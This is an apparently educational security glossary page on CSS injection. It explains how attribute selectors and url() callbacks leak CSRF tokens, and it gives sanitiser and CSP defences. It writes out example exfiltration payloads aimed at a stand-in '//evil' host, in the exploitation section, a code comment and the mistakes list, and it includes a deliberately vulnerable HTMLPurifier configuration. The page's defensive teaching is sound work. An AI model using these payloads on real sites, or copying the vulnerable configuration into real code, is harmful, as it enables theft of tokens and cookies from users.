← CodeClarityLab Home
Browse by Category
+ added · updated 7d
← Back to glossary

CSS Injection & Data Exfiltration via Stylesheets

security CWE-79 OWASP A3:2021 CVSS 6.5 Advanced

Also Known As

CSS injection stylesheet injection CSS exfiltration attribute selector exfiltration scriptless XSS

TL;DR

Attacker-controlled CSS injected into a page or stylesheet that exfiltrates data via attribute selectors and `url()` callbacks, defaces UI, or enables phishing — all without a single line of JavaScript.

Explanation

CSS injection treats stylesheets as a code-execution surface. The classic exfiltration primitive is the attribute-selector-plus-background-image trick: `input[name=csrf][value^=a] { background: url(//attacker/a) }` makes the browser request `//attacker/a` when an input's value starts with 'a' — repeat for every starting letter, then for every two-letter prefix, and the attacker reconstructs CSRF tokens, password fields, or any DOM-readable secret. Modern variants use `@import` chains for sequential leaks, `font-face unicode-range` for character-by-character extraction, and scroll-to-text fragments for Chrome-specific leaks. Beyond exfiltration, CSS injection enables UI redressing (overlaying fake forms over real ones, similar to clickjacking but persistent), defacement, and tracking pixels that bypass typical script-blocking. CSS injection is dangerous specifically because it works in environments hardened against script execution: strict CSP, sanitised HTML, no-script extensions, all permit `style` attributes or `<style>` tags. Defences: forbid `style` attributes and `<style>` tags in user-supplied HTML; if user-controlled CSS is unavoidable (themes, widgets), serve it from an isolated origin; use `unsafe-inline` style restrictions in CSP and a strict CSS sanitiser; never reflect user input into a stylesheet context (e.g. `<style> .user-color: <?= $colour ?> </style>`).

How It's Exploited

Attacker injects into a comment HTML sanitiser that allows `<style>`: `<style>input[name=csrf][value^=a]{background:url(//evil/a)}input[name=csrf][value^=b]{background:url(//evil/b)}...</style>`. Victim's browser requests `//evil/X` for the matching first character. Attacker iterates through prefixes, leaks the entire CSRF token. No JavaScript executed; CSP `script-src 'self'` does not block it.

Watch Out

Browsers race-fetch background-image URLs the moment matching elements render. The leak happens on first paint — there is no user interaction required, and no opportunity to detect or block client-side.

Common Misconception

CSS cannot run code, so CSS injection is a styling annoyance at worst. It is not — `url()` callbacks, `@import`, and attribute selectors give CSS enough behaviour to exfiltrate sensitive DOM values one character at a time. CSS injection has been used in production attacks to leak CSRF tokens, password manager auto-fill values, and 2FA codes.

Why It Matters

Many sanitisers permit `style` attributes and `<style>` tags as 'harmless'. Strict CSP that blocks inline scripts often still allows inline styles. The result is a functional script-execution-equivalent attack vector that bypasses every defence engineered for JavaScript-class XSS, including the most common CSP configurations.

Common Mistakes

  • Allowing `style` attributes through HTML sanitisers — the single most common configuration gap.
  • Permitting `<style>` blocks in user-supplied content (rich-text editors, comment HTML) without parsing the CSS itself.
  • Configuring CSP without `style-src` restrictions — `script-src 'self'` alone does not block this attack.
  • Reflecting user input into `<style>` tags or inline `style=` attributes server-side: `style="color: <?= $userColour ?>"` accepts payloads like `red; background: url(//evil/<?=document.cookie?>)`.
  • Trusting that font-face and @import are 'just resources' — both make outbound requests that can encode exfiltrated data in the URL.

Avoid When

  • Application accepts no user-controlled HTML, classes, or styles, and CSP locks both script-src and style-src to 'self'.

When To Use

  • Reviewing HTML sanitiser configurations for any application that accepts rich-text user content.
  • Auditing CSP headers — confirming style-src restrictions match script-src.
  • Checking for server-side reflection of user input into <style> blocks or style= attributes.

Code Examples

💡 Note
The cheap fix is the sanitiser config; the durable fix is CSP plus origin isolation for sensitive form regions.
✗ Vulnerable
<!-- ❌ Sanitiser permits style attributes and <style> blocks -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src],span[style]');
//                                                              ^^^^^^^^^^^
// Every span can carry user-controlled CSS.
echo $purifier->purify($comment->body);
?>

<!-- Injected: <span style="background:url(//evil/leak?token=...)"> ... -->
<!-- Fires immediately on render. -->
✓ Fixed
<!-- ✅ Strip style attributes and <style> blocks; tighten CSP for styles too -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src]');
// No style attribute, no <style> tag, no class or id from user content.
echo $purifier->purify($comment->body);
?>

<!-- Server response headers: -->
<!-- Content-Security-Policy: default-src 'self'; style-src 'self'; -->
<!--                          img-src 'self' data:; -->

<!-- Defence in depth: -->
<!-- 1. Sanitiser strips style/class/id from user HTML. -->
<!-- 2. CSP style-src restricts inline styles. -->
<!-- 3. Sensitive forms are rendered in isolated documents (separate origins) -->
<!--    so attribute selectors in the parent page cannot read their values. -->

Added 28 Apr 2026
Views 12
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 4 pings T 0 pings W 0 pings T 0 pings F 1 ping S 2 pings S 1 ping M 0 pings T 0 pings W 0 pings T
No pings yet today
No pings yesterday
Google 3 ChatGPT 2 Perplexity 2 SEMrush 1
crawler 6 crawler_json 2
DEV INTEL Tools & Severity
🟡 Medium ⚙ Fix effort: Low
⚡ Quick Fix
Strip style attributes and <style> tags from your HTML sanitiser allow-list, and add `style-src 'self'` to your CSP header. Audit every place you reflect user input into a CSS context server-side.
📦 Applies To
web
🔗 Prerequisites
🔍 Detection Hints
HTML sanitiser allow-list including `style`, `class`, or `id` attributes on user-controlled elements; PHP code that interpolates user input into <style> blocks or style= attributes
Auto-detectable: ✓ Yes semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: Medium ✗ Manual fix Fix: Low Context: File Tests: Update
CWE-79

✓ schema.org compliant